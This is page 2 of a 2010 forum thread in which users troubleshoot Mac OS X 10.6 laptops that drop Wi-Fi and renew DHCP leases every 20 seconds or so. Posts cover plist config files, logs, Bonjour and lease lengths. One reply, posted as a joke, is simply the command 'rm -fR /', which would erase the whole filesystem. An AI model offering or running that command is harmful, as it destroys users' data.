# Mac 10.6 and possibly some Linux/Unix Troubleshooting **URL:** \ **Category:** NYSpeed Off Topic\ **Created:** [October 27, 2010, 7:45am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000 "2010-10-27T07:45:35Z")\ **Posts on this page:** 20\ **Page:** 2
**Author:** ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)\ **Post date:** [October 28, 2010, 6:43am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/21 "2010-10-28T06:43:49Z")
> [@ProgRocker](#): > > Control Click didn’t work…However if you go into the System Profiler \>\> Network \>\> Airport \>\> It lists me as connected 802.11g (I’m connected to our older AP rather than our new ones.) > > I’ve tried viewing the config files but I don’t know what opens them. I tried Text Editor but to no avail. I understand the whole “we’re apple don’t look at our shit” and people buying these apples because “I’m going to college and I need one and it’s silver and shiny” but come on. Troubleshooting these things is a bitch, the system logs are a joke. use a shell cat \ view \ more \ ---
**Author:** ![ProgRocker](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/progrocker/32/5434_2.png) [@ProgRocker](https://forums.speedlife.net/u/ProgRocker)\ **Post date:** [October 28, 2010, 7:02am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/22 "2010-10-28T07:02:08Z")
> [@boardjnky4](#): > > use a shell > > cat \ > view \ > more \ If I post up the config file would you know whats up…Lots of DHCP stuff mentioned. I’m not positive on what each represents ---
**Author:** ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)\ **Post date:** [October 28, 2010, 7:04am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/23 "2010-10-28T07:04:34Z")
probably not, but I can take a look an try ---
**Author:** ![boxxa](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/boxxa/32/5045_2.png) [@boxxa](https://forums.speedlife.net/u/boxxa)\ **Post date:** [October 28, 2010, 7:16am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/24 "2010-10-28T07:16:01Z")
```auto rm -fR / ``` ---
**Author:** ![ProgRocker](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/progrocker/32/5434_2.png) [@ProgRocker](https://forums.speedlife.net/u/ProgRocker)\ **Post date:** [October 28, 2010, 7:52am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/25 "2010-10-28T07:52:02Z")
From the IPconfiguration.bundle ```auto <key>UseMaintenanceWake</key> <true/> <key>ManualConflictRetryIntervalSeconds</key> <integer>300</integer> <key>ARPConflictRetryCount</key> <integer>2</integer> <key>ARPConflictRetryDelaySeconds</key> <real>0.75</real> <key>ARPDetectCount</key> <integer>3</integer> <key>ARPDetectRetryTimeSeconds</key> <real>0.015</real> <key>ARPGratuitousCount</key> <integer>1</integer> <key>ARPProbeCount</key> <integer>3</integer> <key>ARPRetryTimeSeconds</key> <real>0.4</real> <key>DHCPAcceptsBOOTP</key> <false/> <key>DHCPAllocateLinkLocalAtRetryCount</key> <integer>4</integer> <key>DHCPDefendIPAddressCount</key> <integer>3</integer> <key>DHCPDefendIPAddressIntervalSeconds</key> <integer>10</integer> <key>DHCPLeaseWriteT1ThresholdSeconds</key> <integer>3600</integer> <key>DHCPFailureConfiguresLinkLocal</key> <true/> <key>DHCPInitRebootRetryCount</key> <integer>2</integer> <key>DHCPLocalHostNameLengthMax</key> <integer>15</integer> <key>DHCPRequestedParameterList</key> <array> <integer>1</integer> <integer>3</integer> <integer>6</integer> <integer>15</integer> <integer>119</integer> <integer>95</integer> <integer>252</integer> <integer>44</integer> <integer>46</integer> <integer>47</integer> </array> <key>DHCPRouterARPAtRetryCount</key> <integer>7</integer> <key>DHCPSelectRetryCount</key> <integer>3</integer> <key>DHCPSuccessDeconfiguresLinkLocal</key> <true/> <key>DiscoverAndPublishRouterMACAddress</key> <true/> <key>DiscoverRouterMACAddressTimeSeconds</key> <integer>60</integer> <key>GatherTimeSeconds</key> <integer>1</integer> <key>InitialRetryTimeSeconds</key> <integer>1</integer> <key>LinkInactiveWaitTimeSeconds</key> <integer>1</integer> <key>MaximumRetryTimeSeconds</key> <integer>8</integer> <key>MustBroadcast</key> <false/> <key>RetryCount</key> <integer>9</integer> <key>RouterARPEnabled</key> <true/> <key>Verbose</key> <false/> </dict> ``` ---
**Author:** ![LZ1](https://avatars.discourse-cdn.com/v4/letter/l/7ab992/32.png) [@LZ1](https://forums.speedlife.net/u/LZ1)\ **Post date:** [October 28, 2010, 7:54am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/26 "2010-10-28T07:54:50Z")
What shows up in the logs? ---
**Author:** ![ProgRocker](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/progrocker/32/5434_2.png) [@ProgRocker](https://forums.speedlife.net/u/ProgRocker)\ **Post date:** [October 28, 2010, 7:58am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/27 "2010-10-28T07:58:37Z")
> [@LZ](#): > > What shows up in the logs? Everytime the wireless drops I get a configd[13]: Network Configuration Changed then another one of those when it reconnects to the AP ---
**Author:** ![LZ1](https://avatars.discourse-cdn.com/v4/letter/l/7ab992/32.png) [@LZ1](https://forums.speedlife.net/u/LZ1)\ **Post date:** [October 28, 2010, 8:06am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/28 "2010-10-28T08:06:43Z")
So it actually disconnects from the AP? ---
**Author:** ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)\ **Post date:** [October 28, 2010, 8:07am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/29 "2010-10-28T08:07:42Z")
Is there any SPECIFIC time interval for the disconnects? Does it always disconnect after 5 minutes or something? Might be able to correlate back the time references to some sort of timeout/retry value in the config. edit: what logs are you looking at. I’m gonna ssh over to my server at home and see what I can find out. ---
**Author:** ![LZ1](https://avatars.discourse-cdn.com/v4/letter/l/7ab992/32.png) [@LZ1](https://forums.speedlife.net/u/LZ1)\ **Post date:** [October 28, 2010, 8:09am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/30 "2010-10-28T08:09:35Z")
I was curious if it still disconnects with the static IP and you just don’t notice since there is no DHCP lease time. ---
**Author:** ![ProgRocker](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/progrocker/32/5434_2.png) [@ProgRocker](https://forums.speedlife.net/u/ProgRocker)\ **Post date:** [October 28, 2010, 9:25am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/31 "2010-10-28T09:25:52Z")
> [@LZ](#): > > So it actually disconnects from the AP? I’m assuming so, cause when it drops it isn’t associated with any SSID > [@boardjnky4](#): > > Is there any SPECIFIC time interval for the disconnects? Does it always disconnect after 5 minutes or something? Might be able to correlate back the time references to some sort of timeout/retry value in the config. > > edit: what logs are you looking at. I’m gonna ssh over to my server at home and see what I can find out. No specific interval, it happens randomly. The DHCP requests are every 20 seconds on the dot. With DHCP enabled the requests show up on the Network controller and the client machine. Once the static IP is put in place it only shows up on the client machine. system.log mainly but also kernal.log > [@LZ](#): > > I was curious if it still disconnects with the static IP and you just don’t notice since there is no DHCP lease time. The machines appear to stay connected with the Static IP but in the logs it still shows refresh DHCP lease succeeded ---
**Author:** ![evane](https://avatars.discourse-cdn.com/v4/letter/e/6bbea6/32.png) [@evane](https://forums.speedlife.net/u/evane)\ **Post date:** [October 28, 2010, 7:28pm UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/32 "2010-10-28T19:28:29Z")
> [@ProgRocker](#): > > Just wireless it appears…only 10.6 and above. Basically any quick solution, both client side and controller side we’ve tried. > > @TradersBASE - What’s Rendezvous? > > ---------- Post added at 04:24 PM ---------- Previous post was at 04:19 PM ---------- > > Mac’s are flawless \ > > I should mention this is happening to multiple machines running 10.6+, various models. Rendezvous more popular now known as Bonjour is apple’s zero config service discovery. It is locates devices, printers, computers and toaster (no not really) using multicast dns. Avahi is the OSS implementation of this on linux. It is cool shit for personal use but on a corporate network it can cause traffic shit storms. ---
**Author:** ![TradersBASE](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/tradersbase/32/5321_2.png) [@TradersBASE](https://forums.speedlife.net/u/TradersBASE)\ **Post date:** [October 28, 2010, 8:05pm UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/33 "2010-10-28T20:05:35Z")
> [@evane](#): > > Rendezvous more popular now known as **Bonjour** is apple’s zero config service discovery. It is locates devices, printers, computers and toaster (no not really) using multicast dns. > > Avahi is the OSS implementation of this on linux. > > **It is cool shit for personal use but on a corporate network it can cause traffic shit storms.** My bad on the newer name it goes by. But yeah…it’s real chattery. ---
**Author:** ![LZ1](https://avatars.discourse-cdn.com/v4/letter/l/7ab992/32.png) [@LZ1](https://forums.speedlife.net/u/LZ1)\ **Post date:** [November 1, 2010, 5:18am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/34 "2010-11-01T05:18:09Z")
update? ---
**Author:** ![ProgRocker](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/progrocker/32/5434_2.png) [@ProgRocker](https://forums.speedlife.net/u/ProgRocker)\ **Post date:** [November 1, 2010, 10:08am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/35 "2010-11-01T10:08:12Z")
> [@LZ](#): > > update? Called Apple on Friday 22nd Spoke to a couple different people before being transferred to the guy who was labeled their wireless expert. He had me capture logs from my machine and he submitted them to his engineers. Case is still open and I’ve got to call them back to answer a few more questions about our setup. Aside from that I’ve been creating a new location then entering the Static IP information. This way they can use the static IP for school and switch the location back to automatic to use DHCP elsewhere. Students have been saying it’s working so far, yet in the system logs I still see Refresh DHCP Lease Succeeded, which is weird. Also you have to turn off the Airport before making any changes. In the mean time I’m getting a crash coarse on the OSX workings. ---
**Author:** ![ProgRocker](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/progrocker/32/5434_2.png) [@ProgRocker](https://forums.speedlife.net/u/ProgRocker)\ **Post date:** [January 26, 2011, 10:17am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/36 "2011-01-26T10:17:22Z")
Bump Anyone know how often the DHCP lease request is on a Mac? ---
**Author:** ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)\ **Post date:** [January 26, 2011, 10:49am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/37 "2011-01-26T10:49:34Z")
I thought the lease length was defined by the dhcp server. ---
**Author:** ![ProgRocker](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/progrocker/32/5434_2.png) [@ProgRocker](https://forums.speedlife.net/u/ProgRocker)\ **Post date:** [January 26, 2011, 11:04am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/38 "2011-01-26T11:04:52Z")
> [@boardjnky4](#): > > I thought the lease length was defined by the dhcp server. It is…maybe i phrased that wrong. The Macs seems to be requesting a new DHCP address WAAAAY too often. Like every 20 seconds or so or at least that’s my interpretation from the vague logs. ---
**Author:** ![LZ1](https://avatars.discourse-cdn.com/v4/letter/l/7ab992/32.png) [@LZ1](https://forums.speedlife.net/u/LZ1)\ **Post date:** [January 26, 2011, 11:06am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/39 "2011-01-26T11:06:14Z")
The server issues the lease length Linux dhcpd is usually 24 hours Windows server dhcp is 8 days I think… However those values can be changed Run wireshark or tshark on the Mac on its network interface ---
**Author:** ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)\ **Post date:** [January 26, 2011, 11:10am UTC](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000/40 "2011-01-26T11:10:38Z")
> [@ProgRocker](#): > > It is…maybe i phrased that wrong. The Macs seems to be requesting a new DHCP address WAAAAY too often. Like every 20 seconds or so or at least that’s my interpretation from the vague logs. right, so if the server defines the lease length, the dhcp client should only request it at the interval that was defined by the originating request. In other words: client - “yo server, i need an ip…hit me up” server - “here, take 666.666.666.666…come back in a week” [client records that in 7 days, the lease is up] … [7 days is up, client is going to re-request an ip] client - “yo server, I need an ip…hit me up” server - “i’m too busy for this shit, here, just take the same one you had before” [Previous page](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000.md?page=1) [Next page](https://forums.speedlife.net/t/mac-10-6-and-possibly-some-linux-unix-troubleshooting/162000.md?page=3)